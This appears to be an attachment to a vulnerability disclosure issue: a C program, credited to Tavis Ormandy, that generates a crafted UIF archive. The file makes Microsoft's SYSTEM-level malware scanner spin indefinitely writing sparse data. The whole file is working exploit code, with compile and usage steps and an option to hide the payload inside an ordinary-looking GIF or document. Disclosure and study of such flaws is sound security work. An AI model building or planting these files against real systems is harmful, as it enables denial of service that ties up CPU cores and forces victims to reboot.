New issue
Advanced search Search tips

Issue 1248 attachment: uifspin.c (4.6 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <stdio.h>
#include <stdint.h>
#include <limits.h>
#include <zlib.h>
#include <err.h>
#include <stdbool.h>
#include <stdlib.h>

#pragma pack(1)

// The UIF (Universal Image Format) is a proprietary file format used by the
// old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF
// that runs as SYSTEM on all filesystem activity (!?!).
//
// The UIF format has an index structure at a fixed offset from the end of the
// file, with a pointer to contiguous block descriptions that describe how to
// reconstruct the output from data scattered throughout the file.
//
// I noticed that UIF has a "sparse" block type that just outputs chunks of nuls.
// Microsoft write them out like this:
//
// while (write(TempFile, Buffer, SectorSize) == SectorSize)
// BytesWritten += SectorSize;
//
// All of these parameters are read from the file, so you can make it spin
// creating this sparse data for as long as you want. This means you can
// make a file that takes as long as you want to scan, wasting as many cores as
// you want and you have to reboot to fix it.
//
// Compile:
// $ gcc -o uifspin uifspin.c -lz
//
// Usage:
// $ ./uifspin > testcase.txt
//
// (Or, you can provide a template file, and it will append a testcase to it)
//
// $ ./uifspin template.gif > testcase.gif
// $ file testcase.gif
// testcase.gif: GIF image data, version 89a, 400 x 300
//
// Tavis Ormandy <taviso@google.com>, May 2017

#define NUM_SPARSE_BLOCKS (1<<17) // Each block takes a few minutes to process.
#define MAX_COMPRESSED_SIZE 32768 // How much the compressed block data headers will need.

// Set the maximum sparse file size, in versions before 1.1.13701.0 the limit
// was INT_MAX. After 1.1.13701.0, the limit was changed to 0x1000000, but that
// still takes a long time to process.
//#define MAX_TEMPFILE_SIZE INT_MAX
#define MAX_TEMPFILE_SIZE 0x1000000

struct bbishdr {
uint32_t magic;
uint32_t size;
uint16_t ver;
uint16_t imagetype;
uint32_t field_C;
uint32_t sectors;
uint32_t sectorsize;
uint32_t lastdiff;
uint64_t blhr;
uint32_t blhrbbissz;
uint8_t hash[16];
uint32_t key[2];
};

struct blhrhdr {
uint32_t magic;
uint32_t size;
uint32_t compressed;
uint32_t numblocks;
};

struct blockdata {
uint64_t offset;
uint32_t zsize;
uint32_t sector;
uint32_t size;
uint32_t type;
};

static uint8_t zblockbuf[MAX_COMPRESSED_SIZE];
static struct blockdata blkdata[NUM_SPARSE_BLOCKS];

int main(int argc, char **argv)
{
struct bbishdr bbishdr = {0};
struct blhrhdr blhrhdr = {0};
z_stream zstream = {0};
FILE *template;
int i;

if (deflateInit2(&zstream,
Z_BEST_COMPRESSION,
Z_DEFLATED,
15,
MAX_MEM_LEVEL,
Z_DEFAULT_STRATEGY) != Z_OK) {
err(EXIT_FAILURE, "failed to initialize zlib library");
}

for (i = 0; i < NUM_SPARSE_BLOCKS; i++) {
blkdata[i].offset = 0;
blkdata[i].sector = 0; // vfo_seek(TempFile, bbishdr.sectorsize * blkdata.sector)
blkdata[i].size = MAX_TEMPFILE_SIZE; // vfo_write() will create this size file.
blkdata[i].type = 3; // Sparse chunk.
}

zstream.avail_in = sizeof(blkdata);
zstream.next_in = (void *) &blkdata;
zstream.avail_out = sizeof(zblockbuf);
zstream.next_out = zblockbuf;

if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
err(EXIT_FAILURE, "deflate() failed to create compressed payload, %s", zstream.msg);
}

if (deflateEnd(&zstream) != Z_OK) {
err(EXIT_FAILURE, "deflateEnd() returned failure, %s", zstream.msg);
}

blhrhdr.magic = ntohl('blhr');
blhrhdr.size = zstream.total_out;
blhrhdr.numblocks = NUM_SPARSE_BLOCKS;
bbishdr.magic = ntohl('bbis');
bbishdr.sectors = 1; // If blkdata[i].sector exceeds this, then fail.
bbishdr.sectorsize = 1; // This changes the size of each write(), smaller is slower.
bbishdr.blhr = 0; // File byte offset of blhr

// Optionally prepend a template file, e.g an image or document.
if (argv[1]) {
if ((template = fopen(argv[1], "r")) == NULL) {
err(EXIT_FAILURE, "failed to open template file %s", argv[1]);
}

while ((i = fgetc(template)) != EOF) {
bbishdr.blhr++;
fputc(i, stdout);
}

fclose(template);
}

fwrite(&blhrhdr, sizeof blhrhdr, 1, stdout);
fwrite(&zblockbuf, zstream.total_out, 1, stdout);
fwrite(&bbishdr, sizeof bbishdr, 1, stdout);
return 0;
}